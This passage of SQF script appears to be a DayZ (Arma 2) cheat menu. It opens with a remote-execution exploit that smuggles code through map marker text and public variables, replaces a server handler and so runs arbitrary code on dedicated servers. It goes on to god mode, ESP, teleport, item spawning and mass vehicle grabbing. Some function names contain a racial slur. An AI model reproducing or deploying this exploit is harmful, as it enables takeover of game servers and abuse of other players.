Code:
Rustler_RE =
{
[_this select 0] spawn
{
if (isNil "asdasdasd") then
{
asdasdasd = true;
_unit = player;
dayzLogin = _unit;
publicVariable "dayzLogin";
_strH = "dayzLogin2";
(createMarker["s3rv3r_0nPl4y3rD1sc0nn3ct",[0,0,0]]) setMarkerText "\z\addons\dayz_server\compile\server_onPlayerDisconnect.sqf";
(createMarker["dwardenWhereIsTrigga",[0,0,0]]) setMarkerText "0;object_SetFixServer={if(isServer&&((_this select 4)==0))then{_cd=markerText'respawn_west';call compile _cd;remExField=[nil,nil,_cd];publicVariable'remExField';'respawn_west'setMarkerText'';}else{_this call compile preprocessFileLineNumbers'\z\addons\dayz_code\compile\object_setFixServer.sqf';};};0";
_damage = [{[markerText "dwardenWhereIsTrigga","WHEREISPAYL0AD_WHEREISFILTER"] exec markerText "s3rv3r_0nPl4y3rD1sc0nn3ct"}];
_unit setVariable [_strH,_damage,true];
BIS_MPF_dummygroup = "Sheep";
BIS_MPF_logic = BIS_MPF_dummygroup createUnit [[0,0,0], createGroup east, "if (isDedicated) then {{isNil _x} count (dayzLogin getVariable 'dayzLogin2')}", 0.5, "CORPORAL"];
sleep 1;
};
"respawn_west" setMarkerText ";"+(_this select 0)+";";
dayzSetFix = [0,0,0,player,0];
publicVariable "dayzSetFix";
};
};
monitoure = {terminate dayz_slowcheck;
if (isnil "locdbee") then
{
locdbee = 0;
};
if (locdbee == 0) then
{
i = 0;
locdbee = 1;
hint parseText format["
<t size='2.0' color='#5882FA'>Rustle ALL the Jimmies!</t>"];
sleep 1;
while {locdbee == 1} do
{
htmlarray = ['#FF0000','#FF4000','#FF8000','#FFBF00','#FFFF00','#BFFF00','#80FF00','#40FF00','#00FF00','#00FF80','#00FFBF','#00FFFF','#00BFFF','#0080FF','#0040FF','#0000FF','#4000FF','#8000FF','#A901DB','#DF01D7','#DF01A5','#DF0174','#DF013A'];
if (i < (count htmlarray)) then{i = i + 1;};
if (i > (count htmlarray) - 1) then {i = 0;};
if ((0 <= round diag_fps) and (round diag_fps >= 9)) then {fps = "Very Poor"};
if ((10 <= round diag_fps) and (round diag_fps >= 18)) then {fps = "Poor"};
if ((19 <= round diag_fps) and (round diag_fps >= 30)) then {fps = "Good"};
if ((31 <= round diag_fps) and (round diag_fps >= 50)) then {fps = "Great"};
if ((51 <= round diag_fps) and (round diag_fps >= 100)) then {fps = "Amazing"};
debugm0nitor21234 = parseText format["
<t size='2.0' font='Zeppelin33' color='#C031C7'>Rustling</t>
<t size='2.0' font='Zeppelin33' color='#52D017'>Time</t><br/>
<t size='1.15' align='left' color='#FF0033'> Murders: </t><t size='1.15' align='right'>%3 </t><br/>
<t size='1.15' align='left' color='#FF0033'> Bandits Killed: </t><t size='1.15' align='right'>%4 </t><br/>
<t size='1.15' align='left' color='#FF0033'> Humanity: </t><t size='1.15' align='right'>%7 </t><br/>
<t size='1.15' align='left' color='#FF0033'> Blood: </t><t size='1.15' align='right'>%5 </t><br/>
<t size='1.15' align='Center' color='#FE2E2E'> Current Vehicle: </t><br/>
<t font='LucidaConsoleB' align='Center' size='1.25' color='%11'>[%10] </t><br/>
<t size='1.4' align='left' color='#FF0033'> Name: </t><t color='%11' size='1.4' align='right'>%8 </t><br/>
<t size='1.4' align='center' color='#2ECCFA'>Fps: %9</t><br/>",
(player getVariable['zombieKills', 0]),
(player getVariable['headShots', 0]),
(player getVariable['humanKills', 0]),
(player getVariable['banditKills', 0]),
(round(player getVariable['USEC_BloodQty', r_player_bloodTotal])),
({alive player} count entities 'zZombie_Base'),
(player getVariable['humanity', 0]),
(player getVariable['bodyName', name player]),
(fps),
(gettext (configFile >> 'CfgVehicles' >> (typeof vehicle player) >> 'displayName')),
(htmlarray select i)];
hintSilent debugm0nitor21234;
sleep 0.1;
};
}
else
{
locdbee = 0;
nestedloopOnce = nil;
};
};
rustlinginit = {Monky_funcs_inited = nil;
if (isNil "Monky_funcs_inited") then {
infoe = {if (isNil "qwak") then {qwak = 0;}; if (qwak==0) then {
disableSerialization;
qwak = 1;******sandshit = false;call Monky_initMenu;}
else {qwak = 0;******sandshit = true;call Monky_initMenu;};};
dmrbby = {hint format["DMR Sniper loadout added
Old gear removed."];
removeAllWeapons player;
removeAllItems player;
removebackpack player;
player addBackPack "DZ_ALICE_Pack_EP1";
player addweapon "DMR";
player selectWeapon "DMR";
player addMagazine '20Rnd_762x51_DMR';
player addMagazine '20Rnd_762x51_DMR';
player addMagazine '20Rnd_762x51_DMR';
player addMagazine '20Rnd_762x51_DMR';
player addMagazine '20Rnd_762x51_DMR';
player addweapon "M9SD";
player addMagazine "15Rnd_9x19_M9SD";
player addMagazine "15Rnd_9x19_M9SD";
player addMagazine "15Rnd_9x19_M9SD";
player addMagazine "15Rnd_9x19_M9SD";
player addMagazine 'ItemBandage';
player addMagazine 'ItemBandage';
player addMagazine 'ItemBandage';
player addMagazine 'ItemBandage';
player addWeapon 'ItemGPS';
player addWeapon 'NVGoggles';
player addWeapon 'Binocular_vector';
player addWeapon 'ItemCompass';
player addWeapon 'ItemMap';
player addWeapon 'ItemHatchet';
player addWeapon 'ItemKnife';
player addWeapon 'Itemmatchbox';
player addWeapon 'ItemFlashlight';
bp = unitBackpack player;
bp addMagazineCargoGlobal ["ItemBloodbag",2];
bp addMagazineCargoGlobal ["ItemPainkiller",2];
bp addMagazineCargoGlobal ["ItemAntibiotic",1];
bp addMagazineCargoGlobal ["ItemMorphine",2];
bp addMagazineCargoGlobal ["ItemEpinephrine",1];
bp addMagazineCargoGlobal ["ItemWaterbottle",2];
bp addMagazineCargoGlobal ["FoodSteakCooked",3];
bp addMagazineCargoGlobal ["15Rnd_9x19_M9SD",3];
reload player;};
sawbby = {hint format["M249 SAW & G17 loadout added
Old gear removed."];
removeAllWeapons player;
removeAllItems player;
removebackpack player;
player addBackPack "DZ_ALICE_Pack_EP1";
player addweapon "M249_DZ";
player selectWeapon "M249_DZ";
player addMagazine '200Rnd_556x45_M249';
player addMagazine '200Rnd_556x45_M249';
player addMagazine '200Rnd_556x45_M249';
player addweapon "glock17_EP1";
player addMagazine "17Rnd_9x19_glock17";
player addMagazine "17Rnd_9x19_glock17";
player addMagazine "17Rnd_9x19_glock17";
player addMagazine "17Rnd_9x19_glock17";
player addMagazine 'ItemBandage';
player addMagazine 'ItemBandage';
player addMagazine 'ItemBandage';
player addMagazine 'ItemBandage';
player addWeapon 'Binocular';
player addWeapon 'NVGoggles';
player addWeapon 'ItemGPS';
player addWeapon 'ItemCompass';
player addWeapon 'ItemMap';
player addWeapon 'ItemHatchet';
player addWeapon 'ItemKnife';
player addWeapon 'Itemmatchbox';
player addWeapon 'Itemetool';
player addWeapon 'Itemtoolbox';
bp = unitBackpack player;
bp addMagazineCargoGlobal ["ItemBloodbag",2];
bp addMagazineCargoGlobal ["ItemPainkiller",2];
bp addMagazineCargoGlobal ["ItemMorphine",2];
bp addMagazineCargoGlobal ["ItemEpinephrine",1];
bp addMagazineCargoGlobal ["ItemWaterbottle",2];
bp addMagazineCargoGlobal ["FoodSteakCooked",3];
bp addMagazineCargoGlobal ["200Rnd_556x45_M249",1];
bp addMagazineCargoGlobal ["17Rnd_9x19_glock17",3];
reload player;};
m4a1bby = {hint format["M4A1 Holo % G17 loadout added
Old gear removed."];
removeAllWeapons player;
removeAllItems player;
removebackpack player;
player addBackPack "DZ_ALICE_Pack_EP1";
player addweapon "M4A1_HWS_GL_camo";
player selectWeapon "M4A1_HWS_GL_camo";
player addMagazine '30Rnd_556x45_Stanag';
player addMagazine '30Rnd_556x45_Stanag';
player addMagazine '30Rnd_556x45_Stanag';
player addMagazine '30Rnd_556x45_Stanag';
player addMagazine '30Rnd_556x45_Stanag';
player addMagazine '30Rnd_556x45_Stanag';
player addweapon "glock17_EP1";
player addMagazine "17Rnd_9x19_glock17";
player addMagazine "17Rnd_9x19_glock17";
player addMagazine "17Rnd_9x19_glock17";
player addMagazine "17Rnd_9x19_glock17";
player addMagazine 'ItemBandage';
player addMagazine 'ItemBandage';
player addMagazine 'ItemBandage';
player addMagazine '1Rnd_HE_M203';
player addWeapon 'Binocular';
player addWeapon 'NVGoggles';
player addWeapon 'ItemGPS';
player addWeapon 'ItemCompass';
player addWeapon 'ItemMap';
player addWeapon 'ItemHatchet';
player addWeapon 'ItemKnife';
player addWeapon 'Itemmatchbox';
player addWeapon 'Itemetool';
player addWeapon 'Itemtoolbox';
player addWeapon 'ItemFlashlight';
bp = unitBackpack player;
bp addMagazineCargoGlobal ["ItemBloodbag",2];
bp addMagazineCargoGlobal ["ItemPainkiller",2];
bp addMagazineCargoGlobal ["ItemMorphine",2];
bp addMagazineCargoGlobal ["ItemEpinephrine",1];
bp addMagazineCargoGlobal ["ItemWaterbottle",2];
bp addMagazineCargoGlobal ["FoodSteakCooked",3];
bp addMagazineCargoGlobal ["30Rnd_556x45_Stanag",3];
bp addMagazineCargoGlobal ["17Rnd_9x19_glock17",1];
reload player;};
visp = {if (isnil "vm") then {vm = 0;}; if (vm == 0) then {vm = 1; hint "Vehicle Markers ON";} else {vm = 0; hint "Vehicle Markers OFF";};
while {vm == 1} do
{
{
_vm = str _x;
deleteMarkerLocal _vm;
_vm = createMarkerLocal [_vm, getPos _x];
_vm setMarkerTypeLocal "destroyedvehicle";
_vm setMarkerPosLocal getPos _x;
_vm setMarkerSizeLocal [0.8, 0.8];
_vm setMarkerTextLocal format["%1", getText (configFile >> 'CfgVehicles' >> (typeof _x) >> 'displayName')];
if (_x isKindOf "Air") then {_vm setMarkerColorLocal ("ColorBlue");} else {_vm setMarkerColorLocal ("ColorBlack");};
} forEach ([6800, 9200, 0] nearEntities [["All", "Air", "Ship"], 11000]);
sleep 1;
};
{_vm = str _x; deleteMarkerLocal _vm;} forEach ((entities "All") + (entities "Air") + (entities "Ship"));};
plisp = {if (isnil "pm") then {pm = 0;}; if (pm == 0) then {pm = 1; hint "Player Markers ON";} else {pm = 0; hint "Player Markers OFF";};
setGroupIconsVisible [true, true];
while {pm == 1} do
{
{
if (getPlayerUID _x != "") then
{
clearGroupIcons group _x;
group _x addGroupIcon ["x_art"];
group _x setGroupIconParams [[0, 1, 1, 1], format ["%1 (%2m)", name _x, round (_x distance player)], 0.7, true];
};
} forEach entities "AllVehicles";
sleep 1;
};
{clearGroupIcons group _x;} forEach entities "AllVehicles";};
isp = {isp2 = {disableSerialization;
if (isNil "BIS_fnc_3dCredits_n") then {BIS_fnc_3dCredits_n = 2733;};
BIS_fnc_3dCredits_n cutRsc ["rscDynamicText", "PLAIN"];
BIS_fnc_3dCredits_n = BIS_fnc_3dCredits_n + 1;
_ctrl = ((uiNamespace getvariable "BIS_dynamicText") displayctrl 9999);
_ctrl ctrlShow true; _ctrl ctrlEnable true; _ctrl ctrlSetFade 0;
_unit = _this select 0;
while {(alive _unit) && ((player distance _unit) < xdistance)} do
{
if (xtags == 0) exitWith {_ctrl ctrlShow false; _ctrl ctrlEnable false;};
_pos = [(getPosATL _unit) select 0, (getPosATL _unit) select 1, ((getPosATL _unit) select 2) + 2];
_pos2D = worldToScreen _pos;
if (count _pos2D > 0) then
{
_ctrl ctrlSetPosition [(_pos2D select 0) - (safezoneW / 2), (_pos2D select 1), safezoneW, safezoneH];
_text = parseText format ["<t size='0.35' color='#FF1AAA'>%1 (%2m)</t>", name _unit, round (player distance _unit)];
_ctrl ctrlSetStructuredText _text;
_ctrl ctrlCommit 0;
};
sleep 0.05;
};
_ctrl ctrlShow false;
_ctrl ctrlEnable false;};
xdistance = 1200;
if (isNil "xtags") then
{
xtags = 0;
};
if (xtags == 0) then
{
xtags = 1;
hint "ESP ON";
_a = [];
while {xtags == 1} do
{
_count = count ((position player) nearEntities [["CAManBase"], xdistance]);
{
if (((_x in _a) && !(alive _x)) or ((_x in _a) && ((player distance _x) > xdistance))) then {_a = _a - [_x];};
if ((_x != player) && (getPlayerUID _x != "") && (name _x != "") && !(_x in _a) && ((player distance _x) < xdistance)) then
{
_a = _a + [_x];
[_x] spawn isp2;
sleep 1;
};
} forEach playableUnits;
waitUntil {_count != count ((position player) nearEntities [["CAManBase"], xdistance])};
};
}
else
{
xtags = 0;
hint "ESP OFF";
};};
spwnwpn = {player addWeapon _this;
_mags = getArray (configfile >> 'cfgWeapons' >> _this >> 'magazines');
_mag = _mags select 0;
player addMagazine _mag;
player addMagazine _mag;
player addMagazine _mag;
player selectWeapon _this;
reload player;
titleText [format["%1 Spawned!", _this], "PLAIN DOWN"]; titlefadeout 2;};
zobisheel = {
closedialog 0;
ZobieDistanceStat = false;
if (isNil "z") then {z = true;} else {z = !z};
if(z) then {
zo =
[
["",true],
["Distance", [-1], "", -5, [["expression", "z = false;"]], "1", "1"],
["10", [2], "", -5, [["expression", "Zom=10;ZobieDistanceStat=true;"]], "1", "1"],
["20", [3], "", -5, [["expression", "Zom=20;ZobieDistanceStat=true;"]], "1", "1"],
["30", [4], "", -5, [["expression", "Zom=30;ZobieDistanceStat=true;"]], "1", "1"],
["40", [5], "", -5, [["expression", "Zom=40;ZobieDistanceStat=true;"]], "1", "1"],
["50", [6], "", -5, [["expression", "Zom=50;ZobieDistanceStat=true;"]], "1", "1"],
["200", [7], "", -5, [["expression", "Zom=200;ZobieDistanceStat=true;"]], "1", "1"],
["ServerWide", [8], "", -5, [["expression", "Zom=20000;ZobieDistanceStat=true;"]], "1", "1"],
["Exit", [13], "", -3, [["expression", "z = false;"]], "1", "1"]
];
showCommandingMenu "#USER:zo";
WaitUntil{ZobieDistanceStat};
titleText [format["Zombie Shield activated with distance %1 meters!",Zom],"PLAIN DOWN"]; titleFadeOut 4;
} else {
ZobieDistanceStat=false;
};
while {z && ZobieDistanceStat} do {
_pos = getPos player;
_zombies = _pos nearEntities ["zZombie_Base",Zom];
_count = count _zombies;
for "_i" from 0 to (_count -1) do
{
_zombie = _zombies select _i;
deleteVehicle _zombie;
RandomHeadshots=round(random 4);
if (!alive _zombie) then {
zombiekills = player getVariable["zombieKills",0];
player setVariable["zombieKills",zombiekills+1,true];
If (RandomHeadshots==1) then {
_headShots = player getVariable["headShots",0];
player setVariable["headShots",_headShots+1,true]
};
};
};
};
titleText ["Zombie Shield deactivated!","PLAIN DOWN"]; titleFadeOut 4;};
teepee = {
titleText ["ALT+CLICK ON MAP TO TP","PLAIN DOWN"];titlefadeout 4;
player setVariable ["lastPosition", monky];
player setVariable ["lastTimes", monky];
if !("ItemMap" in items player) then {player addWeapon "ItemMap"};
(findDisplay 46) displayAddEventHandler ["KeyDown", "altstate = _this select 4"];
((findDisplay 12) displayCtrl 51) ctrlAddEventHandler ["MouseButtonDown", "if (((_this select 1) == 0) && altstate) then
{
_monkypos = (_this select 0) posScreenToWorld [_this select 2, _this select 3];
[_monkypos] spawn monkytp;
};"];
monkytp =
{
_monkypos = (_this select 0);
if (vehicle player == player) then
{
_monkyboat = "PBX" createVehicleLocal _monkypos;
player moveInDriver _monkyboat;
deleteVehicle _monkyboat;
openMap [false, false];
}
else
{
_monkyboat = "PBX" createVehicleLocal _monkypos;
hideObject _monkyboat;
if (vehicle player isKindOf "Air") then {vehicle player attachTo [_monkyboat, [0, 0, 200]];} else {vehicle player attachTo [_monkyboat, [0, 0, 1]];};
openMap [false, false];
sleep 0.5;
detach vehicle player;
deleteVehicle _monkyboat;
};
};};
ammoedoe = {
_weapon = currentWeapon player;
_mags = getArray(configfile >> 'cfgWeapons' >> _weapon >> 'magazines');
_mag = _mags select 0;
player addMagazine _mag;
player addMagazine _mag;
player addMagazine _mag;};
ihatelife = {if (alive player) then { player setdamage 1;};};
heel = {
titleText ["HEALED","PLAIN"]; titlefadeout 3;
player setDamage 0;
r_player_handler = false;
r_player_handler1 = false;
r_player_dead = false;
r_player_unconscious = false;
r_player_infected = false;
r_player_injured = false;
r_player_inpain = false;
r_player_loaded = false;
r_player_cardiac = false;
r_fracture_legs = false;
r_fracture_arms = false;
r_player_blood = 12000;
r_player_lowblood = false;
r_player_timeout = 0;
r_handlerCount = 0;
dayz_hunger = 0;
dayz_thirst = 0;
dayz_temperatur = 42;};
raingie = {
if (isNil "rangelol") then
{
rangelol = 0;
};
if (rangelol == 0) then
{
rangelol = 1;
hint "VIEW RANGE ON";
setterraingrid 50;
}
else
{
rangelol = 0;
hint "VIEW RANGE OFF";
setterraingrid 25;
};};
glueallnigga = {_veh = nearestobjects [vehicle player, ["AllVehicles"], 20000];
if (isNil "toggul") then {toggul = 0;}; if (toggul == 0) then
{
toggul = 1;
titleText ["All Vehicles Glued.","PLAIN DOWN"];titlefadeout 4;
{
_x attachTo [vehicle player,[(-(random 30) + (random 45)), (-(random 30) + (random 45)), (random 10)]];
} forEach _veh;
}
else
{
{
detach _x;
} forEach _veh;
titleText ["All Vehicles Unglued.","PLAIN DOWN"];titlefadeout 4;
toggul = 0;
};};
wetha = {
// settings
_checktime = 3; //time to check weather states
_minfog = 0.01; //minimum fog lvl to activate fog removing (0 = no fog; 1 = 100% fog)
_minovercast = 0.01; //minimum overcast lvl to activate clearing sky (0 = clear sky; 1 = storm)
_shmess = false; //show messages (true/false)
if (isNil "wl") then {wl = true;} else {wl = !wl;};
if (wl and _shmess) then {titleText ["Weather Lord activated...","PLAIN DOWN"];titleFadeOut 4;};
if (!wl and _shmess) then {titleText ["Weather Lord deactivated...","PLAIN DOWN"];titleFadeOut 4;};
while {wl} do
{
// getting current/default states
if (Fog > _minfog) then
{
1 setfog 0;
};
if (Overcast > _minovercast) then
{
1 setovercast 0;
};
sleep _checktime;
};};
myg0t = {if (isNil "godlol") then
{
godlol = 0;
};
if (godlol == 0) then
{
titleText ["GOD ON", "PLAIN DOWN"]; titlefadeout 3;
godlol = 1;
hint "GOD ON";
player setUnitRecoilCoefficient 0;
player_zombieCheck = {};
fnc_usec_damageHandler = {};
fnc_usec_unconscious = {};
player removeAllEventHandlers "handleDamage";
player addEventHandler ["handleDamage", {false}];
player allowDamage false;
while {godlol == 1} do
{
vehicle player setVehicleAmmo 1;
};
}
else
{
titleText ["GOD OFF", "PLAIN DOWN"]; titlefadeout 3;
godlol = 0;
hint "GOD OFF";
player setUnitRecoilCoefficient 1;
player_zombieCheck = compile preprocessFileLineNumbers "\z\addons\dayz_code\compile\player_zombieCheck.sqf";
fnc_usec_damageHandler = compile preprocessFileLineNumbers "\z\addons\dayz_code\compile\fn_damageHandler.sqf";
fnc_usec_unconscious = compile preprocessFileLineNumbers "\z\addons\dayz_code\compile\fn_unconscious.sqf";
player addEventHandler ["handleDamage", {true}];
player removeAllEventHandlers "handleDamage";
player allowDamage true;
};};
if (isNil "******sandshit") then { ******sandshit = true;};
disableSerialization;
font = "TahomaB";
color_white = [1, 1, 1, 1];
color_black = [0, 0, 0, 1];
color_maroon = [0.5, 0, 0.2, 1];
color_red = [1, 0, 0, 1];
color_green = [0, 1, 0, 1];
color_blue = [1, 1, 0, 1];
color_orange = [0.9, 0.44, 0, 1];
color_yellow = [0.85, 0.85, 0, 1];
title_dialog = [0, 0.75, 1, 1];
menu_title = [0.3, 0.44, 0.9, 1];
menu_sub = [0, 1, 1, 1];
menu_toggle_on = [0, 1, 0.4, 1];
menu_toggle_off = [1, 0.1, 0.1, 1];
menu_run = [0.7, 0.9, 0.7, 1];
menu_disabled = [1, 1, 1, 1];
if (isNil "Monky_hax_toggled") then {Monky_hax_toggled = [];};
if (isNil "Monky_hax_toggled_Display") then {Monky_hax_toggled_Display = [];};
if (isNil "console_show") then {console_show = false;};
Monky_funcs_inited = true;
isInSub = false;
Listw = false;
Monky_hax_dbclick =
{
_isran = false;
_name = thfile select ((lbCurSel 292901))*7+0;
_path = thfile select ((lbCurSel 292901))*7+1;
_istoggle = thfile select ((lbCurSel 292901))*7+2;
_istitle = thfile select ((lbCurSel 292901))*7+3;
_issubmenu = thfile select ((lbCurSel 292901))*7+4;
_isplayer = thfile select ((lbCurSel 292901))*7+5;
titleText [format["%1",_name],"PLAIN DOWN"];titlefadeout 3;
if (_istitle == "1") exitWith {};
if (_issubmenu == "1") then
{
if (_path == "ListGuns") exitWith {if (isNil 'toggle') then {toggle = 0}; if (toggle==0) then {toggle = 1; Listw = true; call Monky_fillPlrs;} else {Listw = false; call Monky_fillPlrs; toggle = nil;};};
if (_path == "Vehicles") exitWith {call Monky_fill_Vehicles};
if (_path == "Weaponz") exitWith {call Monky_fill_Weapons};
if (_path == "Skins") exitWith {call Monky_fill_Skins};
if (_path == "BACK") exitWith {call Monky_fillPlrs};
};
if (isInSub) then
{
call compile format["%1;", _path];
_isran = true;
};
if (_istoggle == "1") then
{
call compile format["%1;", _path];
_isran = true;
_toggled = lbData [292901, (lbCurSel 292901)];
if (_toggled == "nottoggled") then
{
// Set toggled to true & change color
lbSetData [292901, (lbCurSel 292901), "toggled"];
lbSetColor [292901, (lbCurSel 292901), menu_toggle_on];
Monky_hax_toggled = Monky_hax_toggled + [(lbCurSel 292901)];
Monky_hax_toggled_Display = Monky_hax_toggled_Display + [_name];
}
else
{
// Set toggled to false & change color
lbSetData [292901, (lbCurSel 292901), "nottoggled"];
lbSetColor [292901, (lbCurSel 292901), menu_toggle_off];
Monky_hax_toggled = Monky_hax_toggled - [(lbCurSel 292901)];
Monky_hax_toggled_Display = Monky_hax_toggled_Display - [_name];
};
_ctrl = (findDisplay 2929) displayctrl 292901;
_ctrl ctrlCommit 0.01;
};
if (_isplayer == "1") then
{
if ((lbCurSel 292904) >= 0) then
{
}
else
{
};
};
if (_isplayer == "0" and !_isran) then {call compile format ["%1;", _path];};
};
//Fills the main window with list of scripts
Monky_fillHax =
{
isInSub = false;
_ctrl = (findDisplay 2929) displayctrl 292901;
lbclear _ctrl;
_ctrl ctrlSetFont "Zeppelin33";
_ctrl ctrlSetFontHeight 0.027;
thfile = [];
thfile = thfile + ["Weapons","Weaponz","0","0","1","0",[]];
thfile = thfile + ["Morph","Skins","0","0","1","0",[]];
thfile = thfile + ["Show Player Stats","ListGuns","1","0","1","0",[]];
thfile = thfile + ["God Mode","[] spawn myg0t;","1","0","0","0",[]];
thfile = thfile + ["ESP","[] spawn isp;","1","0","0","0",[]];
thfile = thfile + ["Player Markers","[] spawn plisp;","1","0","0","0",[]];
thfile = thfile + ["Vehicle Markers","[] spawn visp;","1","0","0","0",[]];
thfile = thfile + ["Weather Lord (Local)","[] spawn wetha;","1","0","0","0",[]];
thfile = thfile + ["Glue all Entities","[] spawn glueallnigga;","1","0","0","0",[]];
thfile = thfile + ["View Range (Local)","[] spawn raingie;","1","0","0","0",[]];
thfile = thfile + ["Zombie Shield","[] spawn zobisheel;","1","0","0","0",[]];
thfile = thfile + ["Menu Info","[] spawn infoe;","1","0","0","0",[]];
thfile = thfile + ["Teleport","[] spawn teepee;","0","0","0","0",[]];
thfile = thfile + ["Heal","[] spawn heel;","0","0","0","0",[]];
thfile = thfile + ["Suicide","[] spawn ihatelife;","0","0","0","0",[]];
thfile = thfile + ["Ammo","[] spawn ammoedoe;","0","0","0","0",[]];
thfile = thfile + ["DMR Loadout","[] spawn dmrbby;","0","0","0","0",[]];
thfile = thfile + ["M4A1 Holo Loadout","[] spawn m4a1bby;","0","0","0","0",[]];
thfile = thfile + ["M249 Saw Loadout","[] spawn sawbby;","0","0","0","0",[]];
for [{_num = 0}, {_num <= count(thfile)-1}, {_num = _num+7}] do
{
_index = _ctrl lbAdd format["%1", thfile select _num];
_togglable = thfile select (_num+2);
_istitle = thfile select (_num+3);
_issubmenu = thfile select (_num+4);
_thcolor = thfile select (_num+6);
if (count _thcolor == 0) then
{
_ctrl lbSetColor [(lbsize _ctrl)-1, menu_run];
}
else
{
_ctrl lbSetColor [(lbsize _ctrl)-1, _thcolor];
};
if (_togglable == "1") then
{
if (_index in Monky_hax_toggled) then
{
_ctrl lbSetData [(lbsize _ctrl)-1, "toggled"];
_ctrl lbSetColor [(lbsize _ctrl)-1, menu_toggle_on];
}
else
{
_ctrl lbSetData [(lbsize _ctrl)-1, "nottoggled"];
_ctrl lbSetColor [(lbsize _ctrl)-1, menu_toggle_off];
};
};
if (_istitle == "1") then
{
_ctrl lbSetColor [(lbsize _ctrl)-1, menu_title];
};
if (_issubmenu == "1") then
{
_ctrl lbSetColor [(lbsize _ctrl)-1, menu_sub];
};
};
};
//Fills the player window with list of players
Monky_fillPlrs =
{
[] spawn
{
while {!(isNull (findDisplay 2929))} do
{
if (Listw) then
{
disableSerialization;
_count = count playableUnits;
_ctrl = (findDisplay 2929) displayctrl 292904;
lbclear _ctrl;
_ctrl ctrlSetFont "Zeppelin33";
_ctrl ctrlSetFontHeight 0.027;
_ctrl lbAdd "-----------[Player List With Stats]------------------------";
_ctrl lbSetColor [(lbsize _ctrl)-1, color_green];
{
if (getPlayerUID _x != "") then
{
if (primaryWeapon _x == "") then {weapon1 = "Unarmed"} else {weapon1 = primaryWeapon _x};
_ctrl lbAdd format["%1", name _x];
_ctrl lbSetData [(lbsize _ctrl)-1, "1"];
_ctrl lbSetColor [(lbsize _ctrl)-1, color_blue];
_ctrl lbAdd format[" Weapon: %1", weapon1];
_ctrl lbSetColor [(lbsize _ctrl)-1, color_red];
_ctrl lbAdd format[" Blood: %1", round(_x getVariable['USEC_BloodQty', r_player_bloodTotal])];
_ctrl lbSetColor [(lbsize _ctrl)-1, color_red];
_ctrl lbAdd format[" Current Vehicle: %1", (gettext (configFile >> 'CfgVehicles' >> (typeof vehicle _x) >> 'displayName'))];
_ctrl lbSetColor [(lbsize _ctrl)-1, color_red];
_ctrl lbAdd format[" Humanity: %1", _x getVariable['humanity', 0]];
_ctrl lbSetColor [(lbsize _ctrl)-1, color_red];
_ctrl lbAdd format[" Murders: %1", _x getVariable['humanKills', 0]];
_ctrl lbSetColor [(lbsize _ctrl)-1, color_red];
};
} forEach entities "AllVehicles";
_ctrl lbAdd "";
_ctrl lbAdd "";
_ctrl lbAdd "";
_ctrl lbAdd "";
_ctrl lbAdd "";
_ctrl lbAdd "";
sleep 500;
}
else
{
disableSerialization;
_count = count playableUnits;
_ctrl = (findDisplay 2929) displayctrl 292904;
sleep 0.05;
lbclear _ctrl;
_ctrl lbAdd "--------------------[Player List]-----------------------------";
_ctrl lbSetColor [(lbsize _ctrl)-1, color_green];
_ctrl ctrlSetFont "Zeppelin33";
_ctrl ctrlSetFontHeight 0.027;
{
if (getPlayerUID _x != "") then
{
_ctrl lbAdd format["%1", name _x];
_ctrl lbSetData [(lbsize _ctrl)-1, "1"];
_ctrl lbSetColor [(lbsize _ctrl)-1, color_blue];
};
} forEach entities "AllVehicles";
lbsort _ctrl;
_ctrl lbAdd "";
_ctrl lbAdd "";
_ctrl lbAdd "";
_ctrl lbAdd "";
_ctrl lbAdd "";
_ctrl lbAdd "";
sleep 500;
};
};
};
};
Monky_fill_Weapons =
{
isInSub = true;
_ctrl = (findDisplay 2929) displayctrl 292901;
lbclear _ctrl;
_execx = '"%1" call spwnwpn';
thfile = [];
thfile = thfile + ["BACK","BACK","0","0","1","0",color_green];
_cfgweapons = configFile >> "cfgWeapons";
for "_i" from 0 to (count _cfgweapons)-1 do
{
_weapon = _cfgweapons select _i;
if (isClass _weapon) then
{
_wpn_type = configName _weapon;
if ((getNumber (_weapon >> "scope") == 0) or (getNumber (_weapon >> "scope") == 2)) then
{
thfile = thfile + [_wpn_type,format[_execx,_wpn_type],"0","0","0","0",[0, 0.5, 0.9, 1]];
};
};
};
//Hax for making scroll work
thfile = thfile + ["","","0","1","0","0",[]];
thfile = thfile + ["","","0","1","0","0",[]];
thfile = thfile + ["","","0","1","0","0",[]];
thfile = thfile + ["","","0","1","0","0",[]];
thfile = thfile + ["","","0","1","0","0",[]];
thfile = thfile + ["","","0","1","0","0",[]];
thfile = thfile + ["","","0","1","0","0",[]];
thfile = thfile + ["","","0","1","0","0",[]];
thfile = thfile + ["","","0","1","0","0",[]];
thfile = thfile + ["","","0","1","0","0",[]];
thfile = thfile + ["","","0","1","0","0",[]];
thfile = thfile + ["","","0","1","0","0",[]];
thfile = thfile + ["","","0","1","0","0",[]];
thfile = thfile + ["","","0","1","0","0",[]];
thfile = thfile + ["BACK","BACK","0","0","1","0",color_green];
for [{_num = 0}, {_num <= count(thfile)-1}, {_num = _num+7}] do
{
_index = _ctrl lbAdd format["%1", thfile select _num];
_issubmenu = thfile select (_num+4);
_thcolor = thfile select (_num+6);
if (count _thcolor == 0) then
{
_ctrl lbSetColor [(lbsize _ctrl)-1, menu_run];
}
else
{
_ctrl lbSetColor [(lbsize _ctrl)-1, _thcolor];
};
};
};
// Fills the morph menu with list of skins
Monky_fill_Skins =
{
isInSub = true;
_ctrl = (findDisplay 2929) displayctrl 292901;
lbclear _ctrl;
thfile = [];
thfile = thfile + ["BACK","BACK","0","0","1","0",color_green];
thfile = thfile + ["","","0","1","0","0",[]];
thfile = thfile + ["Male Survivor",format ["[dayz_playerUID,dayz_characterID,'Survivor2_DZ'] spawn player_humanityMorph;"],"0","0","0","0",[0, 0, 1, 1]];
thfile = thfile + ["","","0","1","0","0",[]];
thfile = thfile + ["Female Survivor",format ["[dayz_playerUID,dayz_characterID,'SurvivorW2_DZ'] spawn player_humanityMorph;"],"0","0","0","0",[0, 0, 1, 1]];
thfile = thfile + ["","","0","1","0","0",[]];
thfile = thfile + ["Hero",format ["[dayz_playerUID,dayz_characterID,'Survivor3_DZ'] spawn player_humanityMorph;"],"0","0","0","0",[0, 0, 1, 1]];
thfile = thfile + ["","","0","1","0","0",[]];
thfile = thfile + ["Camo",format ["[dayz_playerUID,dayz_characterID,'Camo1_DZ'] spawn player_humanityMorph;"],"0","0","0","0",[0, 0, 1, 1]];
thfile = thfile + ["","","0","1","0","0",[]];
